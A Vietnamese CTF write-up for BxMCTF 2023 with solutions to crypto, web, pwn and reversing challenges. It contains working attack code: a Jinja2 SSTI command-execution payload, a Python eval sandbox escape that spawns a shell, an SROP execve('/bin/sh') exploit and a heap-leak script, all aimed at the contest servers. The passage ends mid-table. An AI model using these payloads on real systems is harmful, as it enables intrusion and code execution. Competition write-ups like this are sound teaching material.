# (writeup) BxMCTF - '23
## CRYPTO
### I Can't Beelieve It
- Chall đưa cho ta 1 bài thơ rất xàm lunn
```txt
Kings and queens, their roles well-defined,
Nectar they gather, nature's sweetest find.
Opulent honeycombs, a golden treasure,
We marvel at their intricate measure.
Nurturing their young, a family affair,
Ending our exposition here, beware.
Cautiously, bees buzz through the air,
Together they work, a hive to share.
Flowers they find, a vital mission,
And in their flight, a colorful rendition.
Life in motion, nature's great ballet,
Let's explore the world of the Bee Movie today!
```
- Nhìn thì không có gì để giải mã, nhưng mà hãy nhìn các chữ cái đầu dòng, ta dùng [TOOL](https://www.dcode.fr/acrostic-extraction) này để xác định xem có những gì giấu trong bài thơ đó

- Nhìn này chưa thấy đúng vị trí, ta thử dùng các trường hợp hoán vị, thì ta thấy```ctf{knownall}``` là đúng
> FLAG: ctf{knownall}
---
### Where Snakes Die
- Chall này đưa ta 1 khoảng trắng, nhìn tưởng chả có gì đặc biệt nhưng thực ra nó là như này:

- Nó là Tab và Space, ta cần dùng 1 [tool](https://gchq.github.io/CyberChef/#recipe=Substitute('%20','XYZABCDEFGHIJKLMNOPQRSTUVW',true)&input=CSAJIHwJfCAgCSB8CXwgCXwJICAgfCAgIHwJCQl8ICAgCXwgfCAJIHwgICB8IAkJIHwgCXwJIAkgfCB8ICAgCg), để plaintext là dấu cách, ta được như sau

- Nhìn khá giống Morse vì chỉ có 3 loại ký tự
- Ta chuyển các ký tự đó thành các kí tự của morse dựa vào code như sau:
```python
data = ' X X| |XX X| |X | XXX|XXX| |XXX |X|X X|XXX|X X|X | X X|X|XXX'
data = data.replace('X','.')
data = data.replace('|','/')
morse = ''
for i in data:
if i =='.' or i=='/':
morse = morse + i
else:
morse = morse + '_'
print(morse)
#Output: _._./_/.._./_/._/_.../.../___/..._/./._./.../.__./._/_._././...
```
- Ta dùng [dcode](https://www.dcode.fr/morse-code) để decode lại đoạn mã này

- Chuyển về ký tự thường sẽ thu được flag
> FLAG: ctf{tabsoverspaces}
---
### RAID Safety Assays, But Fixed
- Chall có đưa cho ta 1 source code:
```python
e = 65537
n = 4629059450272139917534568159172903078573041591191268130667
c = 6743459147531103219359362407406880068975344190794689965016
main.py:
from Crypto.Util.number import *
import random
p = getPrime(96)
q = getPrime(96)
n = p*q
e = 65537
flag = b'ctf{0000000000000000}'
flag = str(pow(bytes_to_long(flag), e, n))
perm = list(range(10))
random.shuffle(perm)
perm = list(map(str, perm))
c = ''.join([perm[int(x)] for x in flag])
print(f'e = {e}')
print(f'n = {n}')
print(f'c = {c}')
```
- Trước tiên, ta factor n và thấy được ``p = 62682123970325402653307817299`` và ``q = 73849754237166590568543300233``
- Ta thấy trong code có 1 đoạn
```python
perm = list(range(10))
random.shuffle(perm)
perm = list(map(str, perm))
c = ''.join([perm[int(x)] for x in flag])
```
- Ta thấy rằng, perm chính là 1 random list gồm 10 phần tử từ 0 --> 9 không theo quy luật gì cả.
- Sau đó, c sẽ bằng ``perm[flag[i]]``, nghĩa là sẽ lấy từng chữ số của flag và thay vào đó là giá trị thứ perm tương ứng với chữ số đó
- Ví dụ ``perm = [1,5,3,6]`` và ``flag = 123013`` thì ``c = 536156``
- Ta cần tạo các hoán vị từ 0 --> 9 rồi brute force là sẽ tìm được flag
- Script:
```python
from itertools import permutations
from Crypto.Util.number import*
e = 65537
n = 4629059450272139917534568159172903078573041591191268130667
c = 6743459147531103219359362407406880068975344190794689965016
p = 62682123970325402653307817299
q = 73849754237166590568543300233
assert p*q-n==0
phi = (p-1)*(q-1)
d = inverse(e,phi)
x = ['6', '7', '4', '3', '4', '5', '9', '1', '4', '7', '5', '3', '1', '1', '0', '3', '2', '1', '9', '3', '5', '9', '3', '6', '2', '4', '0', '7', '4', '0', '6', '8', '8', '0', '0', '6', '8', '9', '7', '5', '3', '4', '4', '1', '9', '0', '7', '9', '4', '6', '8', '9', '9', '6', '5', '0', '1', '6']
lst = [6, 7, 4, 3, 4, 5, 9, 1, 4, 7, 5, 3, 1, 1, 0, 3, 2, 1, 9, 3, 5, 9, 3, 6, 2, 4, 0, 7, 4, 0, 6, 8, 8, 0, 0, 6, 8, 9, 7, 5, 3, 4, 4, 1, 9, 0, 7, 9, 4, 6, 8, 9, 9, 6, 5, 0, 1, 6]
# tạo một chuỗi chứa các chữ số
digits = "5678901234"
# tạo tất cả các hoán vị của chuỗi
perms = permutations(digits)
# tạo một list chứa các mảng con
subarrays = [list(perm) for perm in perms]
# lấy các mảng con để cho nó thành 1 chuỗi rồi đổi về số rồi decrypt
for subarray in subarrays:
h = ''.join([subarray[int(x)] for x in x])
cipher = int(h)
flag = str(long_to_bytes(pow(cipher,d,n)))
if 'ctf{' in flag:
print(flag)
exit()
```
> FLAG: ctf{cryptpainfulflag}
---
## WEB
### Blank Space - I mean Page
- Chall này cho ta 1 web trắng -> kiềm tra các đường dẫn ẩn
- Vào robots.txt:

- vào Tiếp /very-secretly-hidden

> FLAG: ctf{sdh57349857243fkhkwAklkAH}
---
### Repository Security

- Tải file web2.zip mà đề bài cho. Mở thư mục app.py ta thấy từ line.
- Ta đã biết được roles = admin có user = chuck ; password = norris.

- Đăng nhập rồi ta lấy được flag.

> FLAG: ctf{wh4t_4_h4rd_qu3sti0n}
---
### Username Decorator
- Bài này Đọc Source chúng ta sẽ nhận ra ssti nhưng lại có filter làm cho chúng ta không dùng được các kí tự như là ' " ....
- Nhưng ở đây chúng ta có thể sử dụng request.args.a để bypass qua (này không phải mình nghĩ nha !!!!)
- ta sẽ thử từng bước 1 :
- Đầu tiên ta sẽ truyền vào 1 tham số a với giá trị và "helloworld" r ấn enter:

- tiếp theo ta sẽ sử dụng request.args.a để xem có bypass được không:


- Vậy là Ổn đã bypass được tiếp theo lên mạng tìm payload:
- ở đây mình sẽ dùng payload
```
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()
```
- Test payload trước:


- Hoạt Động khá ổn ở đây mình sẽ dùng lệnh "printenv" để in ra biến môi trường là FLAG như miêu tả nói:


> FLAG:ctf{j4st_us3_pr0p3r_t3mp14t1ng_4lr34dy}
---
## PWN
### Banking Issues
- source
```python
#!/usr/local/bin/python
import os
balances = [10, 20, 50, 16, 29, 52, 100000]
PERMS_ADMIN = {
"MAX_INDEX": len(balances) - 1
}
PERMS_AGENT = {
"MAX_INDEX": len(balances) - 2
}
def main():
perms = PERMS_AGENT
wallet = 0
idx = int(input("Which account would you like to withdraw from? "))
if idx > perms["MAX_INDEX"]:
print("Unauthorized")
return
wallet += balances[idx]
balances[idx] = 0
print(f"You now have ${wallet} in your wallet.\n")
if wallet >= 100000:
print("Thanks for storing a lot of $$ at our bank.")
print("You qualify for free wealth management services.")
print(f"To access this service, please email {os.getenv('FLAG')}@bxmctf.bank.\n")
print("Thank you for banking with BxMCTF Bank.")
if __name__ == "__main__":
main()
```
- đọc code thì ta hiểu sơ qua là ta sẽ nhập 1 số nào đó để, số đó là số thự tự trong mảng balances, sau đó gán giá trị đó vào wallet , nếu wallet = 100000 thì ra flag
**ta nhập thử 5 xem sao**

- kết quả là 52 nên chưa đúng
**vậy ta nhâp 6 sẽ ra 1000000**

**chà ko đúng r, vậy ta thử nhập -1 xem sao:**

ra rồi nè hehe
> FLAG: ctf{0h_d34r_n3g4t1v3_1dx}
---
### Math Class
- check file + checksec

- check source
```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
int lim = rand() % 8192;
for (int i = 0; i < lim; i++) {
rand();
}
printf("Ok, it's time to do some math!\n");
for (int i = 0, a, b, c; i < 5; i++) {
a = rand(); b = rand();
printf("%d + %d = ?\n", a, b);
scanf("%d", &c);
if (a + b != c) {
printf("Wrong answer\n");
return 0;
}
}
printf("Ok, let's switch it up. This time you give me the first number, and I give the rest!\n");
for (int i = 0, a, b, c; i < 5; i++) {
b = rand(); c = rand();
printf("? + # = %d\n", c);
scanf("%d", &a);
printf("The equation was ? + %d = %d\n", b, c);
if (a + b != c) {
printf("Wrong answer\n");
return 0;
}
}
printf("Ok, you get the flag now, I guess\n");
printf("%s\n", getenv("FLAG"));
}
```
- bài này nó sẽ chia ra 2 giai đoạn
- round 1: 5 vòng phép tính cộng bình thường
```c
printf("Ok, it's time to do some math!\n");
for (int i = 0, a, b, c; i < 5; i++) {
a = rand(); b = rand();
printf("%d + %d = ?\n", a, b);
scanf("%d", &c);
if (a + b != c) {
printf("Wrong answer\n");
return 0;
}
}
```
- round 2: 5 vòng guessing
```c
printf("Ok, let's switch it up. This time you give me the first number, and I give the rest!\n");
for (int i = 0, a, b, c; i < 5; i++) {
b = rand(); c = rand();
printf("? + # = %d\n", c);
scanf("%d", &a);
printf("The equation was ? + %d = %d\n", b, c);
if (a + b != c) {
printf("Wrong answer\n");
return 0;
}
}
```
- ở round 2, đề sẽ bắt ta đoán 1 số
`` a + b = c``
> cho biết trước số c, đoán số a và sẽ đưa ngẫu nhiên số b, thoã mãn phép tính sẽ in flag
- thì bài này bug vẫn nằm ở **time()** và **srand()**
- thêm thư viện libc.so.6 vào để import thư viện chuẩn code C bên trong python
- đầu tiên đề sẽ **rand()** 1 lượng nhất định
```c
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
int lim = rand() % 8192;
for (int i = 0; i < lim; i++) {
rand();
}
```
- sau đó mỗi vòng sẽ **rand()** thêm nữa nên ta sẽ **rand()** cho đủ số lượng là được

- script:
```python
#!/usr/bin/python3
from pwn import *
import random
import time
from ctypes import *
context.binary = exe = ELF('./main',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")
#p = process(exe.path)
p = remote('198.199.90.158',33017)
p.recvline()
giay = int(time.time())
elf.srand(giay)
lim = elf.rand() % 8192
log.info("rand: " + str(lim))
for i in range(0,lim):
z = elf.rand()
for i in range (0,5):
a = elf.rand()
b = elf.rand()
a = int(p.recvuntil(b' +',drop=True),10)
b = int(p.recvuntil(b' =',drop=True),10)
p.recvuntil(b'?\n')
c = a + b
p.sendline(str(c))
p.recvline()
for i in range (0,5):
b = elf.rand()
c = elf.rand()
log.info("b = " + str(b))
log.info("c = " + str(c))
p.recvuntil(b'# = ')
c = int(p.recvline()[:-1],10)
log.info("c = " + str(c))
a = c - b
p.sendline(str(a))
p.interactive()
#ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}
```
> FLAG: ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}
---
### More Banking Issues
- check file + checksec

- check ida
```c
unsigned __int64 sub_12E0()
{
char *v0; // rax
char *v1; // rax
unsigned int v2; // eax
__int128 *v3; // rbx
void **v4; // rbp
unsigned __int64 result; // rax
__int64 v6; // rax
__int64 v7; // rdx
__int64 v8; // rax
__int64 v9; // rdx
__int64 v10; // rcx
__int64 v11; // rax
__int64 v12; // r14
size_t v13; // rdi
__int64 v14; // r14
void *v15; // r13
char v16; // al
time_t v17; // rax
int v18; // ecx
__int64 v19; // rdx
__int64 v20; // rdx
__int64 v21; // rcx
int v22; // [rsp+4h] [rbp-84h]
char *ptr; // [rsp+8h] [rbp-80h]
unsigned int v24; // [rsp+14h] [rbp-74h] BYREF
unsigned int v25; // [rsp+18h] [rbp-70h] BYREF
int v26; // [rsp+1Ch] [rbp-6Ch] BYREF
__int128 v27[2]; // [rsp+20h] [rbp-68h] BYREF
__int64 v28; // [rsp+40h] [rbp-48h]
unsigned __int64 v29; // [rsp+48h] [rbp-40h]
v29 = __readfsqword(0x28u);
ptr = (char *)malloc(0x40uLL);
v0 = getenv("SECRET_KEY");
__strcpy_chk(ptr, v0, 32LL);
v1 = getenv("FLAG");
__strcpy_chk(ptr + 32, v1, 32LL);
v22 = 0;
v28 = 0LL;
memset(v27, 0, sizeof(v27));
while ( 1 )
{
puts("Welcome to BxMCTF Bank ABM");
puts("1. Make an account");
puts("2. Check Balance");
puts("3. Make a Deposit");
puts("4. Withdraw Money");
puts("5. Quit");
__printf_chk(1LL, "What is your choice? ");
__isoc99_scanf("%d", &v24);
v2 = v24;
if ( v24 - 2 > 2 )
goto LABEL_3;
__printf_chk(1LL, "Account Number? ");
__isoc99_scanf("%d", &v25);
if ( v25 <= 4 && (v19 = *((_QWORD *)v27 + (int)v25)) != 0 )
{
if ( v25 != *(_DWORD *)(v19 + 4) )
{
puts("Oh no, something terrible happened. Please go to the front counter.");
exit(0);
}
v2 = v24;
LABEL_3:
switch ( v2 )
{
case 1u:
__printf_chk(1LL, "How long is your account name? ");
__isoc99_scanf("%d", &v26);
fgetc(stdin);
if ( v26 <= 0 )
{
v26 = 1;
v12 = 1LL;
}
else
{
v12 = v26;
if ( v26 > 128 )
{
v26 = 128;
v12 = 128LL;
}
}
v13 = v12;
v14 = 0LL;
v15 = malloc(0x28uLL);
*((_QWORD *)v15 + 3) = malloc(v13);
v25 = v22;
*((_QWORD *)v27 + v22++) = v15;
__printf_chk(1LL, "Account Name? ");
if ( v26 > 0 )
{
do
{
v16 = fgetc(stdin);
if ( v16 <= 31 )
break;
*(_BYTE *)(*((_QWORD *)v15 + 3) + v14++) = v16;
}
while ( v26 > (int)v14 );
}
strcpy((char *)v15 + 32, "CHEQ");
v17 = time(0LL);
*((_QWORD *)v15 + 1) = 0LL;
*((_QWORD *)v15 + 2) = v17;
v11 = (int)v25;
v18 = 4 * v25 + 182730;
*((_DWORD *)v15 + 1) = v25;
*(_DWORD *)v15 = v18;
goto LABEL_13;
case 2u:
v11 = (int)v25;
LABEL_13:
__printf_chk(
1LL,
"Account %d (%s) - %s: %lld\n",
*(unsigned int *)(*((_QWORD *)v27 + v11) + 4LL),
*(const char **)(*((_QWORD *)v27 + v11) + 24LL),
(const char *)(*((_QWORD *)v27 + v11) + 32LL),
*(_QWORD *)(*((_QWORD *)v27 + v11) + 8LL));
break;
case 3u:
__printf_chk(1LL, "How much? ");
__isoc99_scanf("%d", &v24);
v8 = *((_QWORD *)v27 + (int)v25);
v9 = (int)v24;
v10 = *(_QWORD *)(v8 + 8) + (int)v24;
*(_QWORD *)(v8 + 8) = v10;
__printf_chk(1LL, "You have successfully deposited $%d. Your balance is now $%lld\n", v9, v10);
break;
case 4u:
__printf_chk(1LL, "How much? ");
__isoc99_scanf("%d", &v24);
v6 = *((_QWORD *)v27 + (int)v25);
v7 = *(_QWORD *)(v6 + 8);
if ( v7 >= (int)v24 )
{
v20 = v24;
v21 = *(_QWORD *)(v6 + 8) - (int)v24;
*(_QWORD *)(v6 + 8) = v21;
__printf_chk(1LL, "You have successfully withdrawn $%d. Your balance is now $%lld\n", v20, v21);
}
else
{
__printf_chk(1LL, "Insufficient funds. You only have $%lld.\n", v7);
}
break;
case 5u:
free(ptr);
if ( v22 )
{
v3 = v27;
do
{
v4 = *(void ***)v3;
v3 = (__int128 *)((char *)v3 + 8);
free(v4[3]);
free(v4);
}
while ( (__int128 *)((char *)v27 + 8 * (unsigned int)(v22 - 1) + 8) != v3 );
}
puts("Thank you for banking with BxMCTF.");
result = v29 - __readfsqword(0x28u);
if ( result )
JUMPOUT(0x174BLL);
return result;
default:
puts("Invalid option");
break;
}
}
else
{
puts("Invalid account");
}
}
}
```
- muốn chạy được file hay debug file, ở mỗi terminal ta phải khai báo biến môi trường
```bash
$ FLAG="KCSC{this_is_fake_flag}"
$ SECRET_KEY="KCSC{secret_key}"
$ export FLAG && export SECRET_KEY
```
- đề cho ta 5 options:
```c
puts("Welcome to BxMCTF Bank ABM");
puts("1. Make an account");
puts("2. Check Balance");
puts("3. Make a Deposit");
puts("4. Withdraw Money");
puts("5. Quit");
```
- option1 sẽ là tạo 1 acc, hỏi size name(tức là hỏi size để malloc tạo heap) rồi điền name
- option2 để in ra thông tin acc
- option3 option4 sẽ là tăng giảm tiền (đặt cọc & rút : số âm / dương đều được)
- option5 sẽ là **free()** (để 'Quit' vậy thôi chứ k có thoát chương trình, lặp lại vòng lặp)
- hint: LIFO (last in first out)
- cơ chế LIFO là dạng dữ liệu ``push`` và ``pop``
- nói nôm na ntn:

> vào trước, nhưng ra sau cùng
> vào sau, nhưng được ra trước
- dừng trước **scanf()** chọn option

- ta thấy flag ta sẽ nằm trong heap, thì cơ chế LIFO sẽ cùng tương tự với tcache và fastbin

- để có thể đổi chỗ 2 chunk thì ta phải đổi 2 chunk CÙNG SIZE

>size = 0x50 ---> khởi tạo 0x40 = 64 là đẹp (vì còn 0x10 làm tròn)
>content thì k quan trọng
```python
p.sendlineafter(b'choice? ',b'1')
p.sendlineafter(b'name? ',b'64') #0x40 --> malloc = 0x50
p.sendlineafter(b'Name? ',b'hlaan')
```

> secret_key là 92a0
- sau đó ta free

> secret_key là 9730
- malloc thêm 1 lần với size name 0x40 để tạo cùng size 0x50
- nhưng content sẽ là 0x20 byte 'a' (mục đích nối chuỗi dính với cái flag)


- sau đó nó sẽ hiện thị tên acc kèm flag

- remote:

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./main',checksec=False)
######################################
# $ FLAG="KCSC{this_is_fake_flag}" #
# $ SECRET_KEY="KCSC{secret_key}" #
# $ export FLAG && export SECRET_KEY #
######################################
#p = process(exe.path)
p = remote('198.199.90.158',36427)
p.sendlineafter(b'choice? ',b'1')
p.sendlineafter(b'name? ',b'64') #0x40 --> malloc = 0x50
p.sendlineafter(b'Name? ',b'hlaan')
p.sendlineafter(b'choice? ',b'5') #free secret
p.sendlineafter(b'choice? ',b'1')
p.sendlineafter(b'name? ',b'64') #ghi lại cùng size với secret
p.sendlineafter(b'Name? ',b'a'*32) #0x20 nối chuỗi
p.interactive()
#ctf{o0ps_m4ll0c_c4lloc}
```
> FLAG: ctf{o0ps_m4ll0c_c4lloc}
---
### Bonus: The Revenge of Checkpass 1
- check source
```python
#!/usr/local/bin/python
# -*- coding: utf-8 -*-
def main():
password = "the password can contain non-ascii charactérs :)"
inp = input("Enter a Python list: ")
lis = eval(inp, {'__builtins__': None}, None)
if type(lis) != list:
print("That's not a list")
return
for i in lis:
if not isinstance(i, int):
print("The list can only contain integers")
return
if lis == [ord(e) for e in password]:
print("You are now authorized!")
with open("flag.txt", "r") as flag:
print(flag.read())
else:
print("Incorrect password!")
if __name__ == "__main__":
main()
```
- bug của bài này nằm ở hàm **eval()**
- nhưng khó là nó bị fillter ``'__builtins__': None`` là k cho gọi j hết á
- hint: https://gynvael.coldwind.pl/n/python_sandbox_escape
- ta sẽ xài trick2 cho dễ

- trên máy local:

``{}.__class__.__base__.__subclasses__()[104].load_module("os").system("sh")``
>tìm được 104 là do brute bằng script
- payload chung:
``{}.__class__.__base__.__subclasses__()[id].load_module("os").system("sh")``
> id này phải fuzz theo từng máy

- bị treo ở 107

- script:
```python
#!/usr/bin/python3
from pwn import *
import os
for i in range (50,200):
p = remote('198.199.90.158',37369)
payload = '{}.__class__.__base__.__subclasses__()'
payload += f'[{i}].load_module("os").system("sh")'
p.sendline(payload)
if b'Traceback (most recent call last):' not in p.recvline():
p.interactive()
else:
p.close()
#ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}
```
> FLAG: ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}
---
### Anti-Libc
- check file + checksec

- check ida

>main

>readint

>read_buf
- đề sẽ in ra "Length of input?" cho mình nhập 1 số

- sau đó sẽ cho ta gửi vào dữ liệu với size là số ta nhập trước đó
- checksec có mỗi NX bật, tên đề là anti-libc, k thể sehllcode, k thể ret2libc
- chỉ còn ROP là khả quan nhưng ở bài này sẽ dùng SYSROP
- kiểm tra xem có lỗi BOF k để mà còn sài sigreturn

```c
signed __int64 v2 //rax
---------------------------------------
v2 = sys_read(0, input_buf, 0x10000uLL) //bufer overflow
```
- uầy z là có rbp rip các kiểu
- tính offset

>72 bytes
- ROPgadget có **syscall** ta cần

>0x0000000000401055
- nhưng ta lại không có gadget nào khả quan để thiết lặp rax thành 0xf cho sigreturn cả
- thì có là biến ``__int64 v2`` đc ida phân tích là rax
- tức là 8 byte đầu của nó sẽ truyền vào rax, nhưng ở đây nó truyền lần lượt từng byte một
- là nó sẽ k truyền hoàn toàn cả 8 bytes vào rax 1 lượt, mà chỉ truyền duy nhất 1 byte và làm mới cho mỗi vòng lặp

>hàm read_buf có tác dụng là đọc từng byte, trả về kết quả cho result
>sau đó gán con trỏ ``*v5`` cho result
>``*v5`` được ida hiểu là thanh ghi r10
>ở đây ta debug kỹ sẽ hiểu tại sao lại đọc từng byte 1, rồi lại đẩy stack cao lên các kiểu
>chú ý ở thanh ghi r10 và rbp, rip khi debug
- thế phải làm sao đâyyyyy
- phải làm sao phải làm sao 👉👈
- thì ta để payload ta 8 byte đầu null, ở rip gọi hàm đọc 1 số là đủ
(``randint() trong trường hợp này là hợp ní``)
- sau đó mình **send(b'15')** vào
- lúc này 15 = 0xf đó sẽ đưa vào đầu payload thêm 1 con số, r đưa lên rax, thế là ta có rax = 0xf rồi, call **syscall** lên là có ngay sigreturn
- nhưng vì chèn thêm 1 byte 15 = 0xf đó nên offset sẽ tăng thêm 1 thành 73 (nếu giữ 72 bytes thì debug sẽ thấy lỗi)
- payload cho sigreturn:
- truyền b'/bin/sh\0' ngay sau 8 bytes null
- đọc vào vùng nhớ bss 0x402020
- b'/bin/sh\0' nằm ở địa chỉ cao hơn 8 là 0x402028 ---> rdi

- để cho payload vừa khít lỗ ~~đít~~ thì ở lần nhập đầu tiên 'input?', ta sẽ tính độ dài payload trừ đi 1 là xong

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./main',checksec=False)
#p = process(exe.path)
p = remote('198.199.90.158',37813)
# gdb.attach(p,gdbscript='''
# b*main+30
# b*main+35
# b*0x40103f
# c
# ''')
# input()
syscall = 0x0000000000401055
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x00000000402028
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall
payload = p64(0)
payload += b'/bin/sh\0'
payload = payload.ljust(73,b'A')
payload += p64(exe.sym['readint'])
payload += p64(syscall)
payload += bytes(frame)
length = len(payload)
p.sendafter(b'input? ',str(length-1).encode())
p.send(payload)
p.sendline(b'15')
p.interactive()
#ctf{p3rf_4nd_s3c_m1sm4tch}
```
>ctf{p3rf_4nd_s3c_m1sm4tch}
---
## REV
### Deception
- tait file zip từ chall về, nhận được 1 đoạn mã hoá base64, decode và nhận được source có vẻ giống java
```java
import java.io.*;
import java.util.*;
import java.time.*;
import java.text.*;
import java.math.*;
public class Deception {
static FastReader FastReader = new FastReader();
static BufferedWriter o = new BufferedWriter(new OutputStreamWriter(System.out));
static PrintWriter pw;
static char table[] = {
'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9',
'0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7',
's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd',
'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O',
'8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X',
'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K',
'7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3',
'9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i',
'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i',
'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7',
'4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i',
'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a',
's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g',
'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e',
'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6',
'7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r',
'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't',
'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y',
'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l',
'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r',
'7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c',
'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n',
'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3',
'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9',
'8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c',
'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
'1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y',
'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n',
'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r',
'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y',
'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6',
'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N',
'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R',
'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8',
'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R',
'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C',
'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C',
'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7',
'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C',
'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C',
'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7',
'8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4',
'7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2',
'1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c',
'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
